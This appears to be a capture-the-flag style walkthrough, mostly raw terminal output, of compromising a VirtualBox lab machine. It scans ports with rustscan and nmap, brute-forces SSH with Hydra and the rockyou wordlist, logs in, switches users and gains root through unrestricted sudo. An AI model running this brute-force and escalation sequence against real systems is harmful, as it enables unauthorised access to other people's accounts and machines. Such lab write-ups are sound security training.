┌──(root㉿Eecho)-[/var/www/html] └─# rustscan -a 192.168.100.55 -- -A .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- To scan or not to scan? That is the question.
[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'. Open 192.168.100.55:22 Open 192.168.100.55:80 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.100.55 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-16 13:42 +0800 NSE: Loaded 158 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 13:42 Completed NSE at 13:42, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 13:42 Completed NSE at 13:42, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 13:42 Completed NSE at 13:42, 0.00s elapsed Initiating ARP Ping Scan at 13:42 Scanning 192.168.100.55 [1 port] Completed ARP Ping Scan at 13:42, 0.13s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 13:42 Completed Parallel DNS resolution of 1 host. at 13:42, 1.51s elapsed DNS resolution of 1 IPs took 1.52s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 2, CN: 0] Initiating SYN Stealth Scan at 13:42 Scanning 192.168.100.55 [2 ports] Discovered open port 80/tcp on 192.168.100.55 Discovered open port 22/tcp on 192.168.100.55 Completed SYN Stealth Scan at 13:42, 0.02s elapsed (2 total ports) Initiating Service scan at 13:42 Scanning 2 services on 192.168.100.55 Completed Service scan at 13:42, 6.03s elapsed (2 services on 1 host) Initiating OS detection (try #1) against 192.168.100.55 NSE: Script scanning 192.168.100.55. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 13:42 Completed NSE at 13:42, 0.35s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 13:42 Completed NSE at 13:42, 0.03s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 13:42 Completed NSE at 13:42, 0.01s elapsed Nmap scan report for 192.168.100.55 Host is up, received arp-response (0.00083s latency). Scanned at 2026-07-16 13:42:07 CST for 8s
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 c7:64:98:df:39:82:71:73:53:42:0c:6a:57:84:c4:a8 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBG23V1Aysp68V7Z8UwLJJfkfdHc/XYAzN/DZWbO2aUI7DZKsYowaD40Ln7hlBjOm5go6dl95Z8RvB1VIRiYYq5I= | 256 65:75:5f:51:98:3e:38:d4:46:e8:66:38:18:b2:79:dc (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO4bB8q9MUfhG23qgkNcujIQzjusC7tRmFNOzsJ333WI 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.52 ((Ubuntu)) | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works MAC Address: 08:00:27:6A:F0:6C (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=7/16%OT=22%CT=%CU=33763%PV=Y%DS=1%DC=D%G=N%M=080027%TM OS:=6A586F37%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10A%TI=Z%CI=Z%II=I% OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5 OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6= OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O% OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0 OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N OS:%T=40%CD=S)
Uptime guess: 5.214 days (since Sat Jul 11 08:34:18 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=260 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.83 ms 192.168.100.55
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 13:42 Completed NSE at 13:42, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 13:42 Completed NSE at 13:42, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 13:42 Completed NSE at 13:42, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.05 seconds Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)
┌──(root㉿Eecho)-[/tmp/aaaa/Guess] └─# hydra -l pinguinito -P /usr/share/wordlists/rockyou.txt ssh://192.168.100.55 Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-16 12:35:55 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking ssh://192.168.100.55:22/ [STATUS] 251.00 tries/min, 251 tries in 00:01h, 14344152 to do in 952:29h, 12 active [22][ssh] host: 192.168.100.55 login: pinguinito password: love 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 4 final worker threads did not complete until end. [ERROR] 4 targets did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-16 12:37:34
┌──(root㉿Eecho)-[/tmp/aaaa/Guess] └─# ssh pinguinito@192.168.100.55 The authenticity of host '192.168.100.55 (192.168.100.55)' can't be established. ED25519 key fingerprint is: SHA256:qL6w/FhzuPJSTuXLZo9yj1MnRFbblN4LJXNRNdlBPUA This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.100.55' (ED25519) to the list of known hosts. pinguinito@192.168.100.55's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-100-generic x86_64)
System information as of jue 16 jul 2026 04:37:34 UTC
System load: 0.146484375 Processes: 187 Usage of /: 53.2% of 9.75GB Users logged in: 0 Memory usage: 22% IPv4 address for docker0: 172.17.0.1 Swap usage: 0% IPv4 address for enp0s3: 192.168.100.55
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s just raised the bar for easy, resilient and secure K8s cluster deployment.
El mantenimiento de seguridad expandido para Applications está desactivado
Se pueden aplicar 0 actualizaciones de forma inmediata.
Active ESM Apps para recibir futuras actualizaciones de seguridad adicionales. Vea https://ubuntu.com/esm o ejecute «sudo pro status»
The list of available updates is more than a week old. To check for new updates run: sudo apt update New release '24.04.4 LTS' available. Run 'do-release-upgrade' to upgrade to it.
Last login: Tue Apr 16 18:10:24 2024 from 192.168.0.104 pinguinito@ballenasio:~$ id uid=1001(pinguinito) gid=1001(pinguinito) groups=1001(pinguinito) pinguinito@ballenasio:~$
pinguinito@ballenasio:~$ su ballenasio Password: ballenasio@ballenasio:/home/pinguinito$ id uid=1000(ballenasio) gid=1000(ballenasio) groups=1000(ballenasio),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd) ballenasio@ballenasio:/home/pinguinito$
ballenasio -> root
1 2 3 4 5 6 7
ballenasio@ballenasio:/home/pinguinito$ sudo -l [sudo] password for ballenasio: Matching Defaults entries for ballenasio on ballenasio: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User ballenasio may run the following commands on ballenasio: (ALL : ALL) ALL
ballenasio 用户拥有全权 Sudo 权限，直接切换到root
1 2 3
ballenasio@ballenasio:/home/pinguinito$ sudo su root root@ballenasio:/home/pinguinito# id uid=0(root) gid=0(root) groups=0(root)
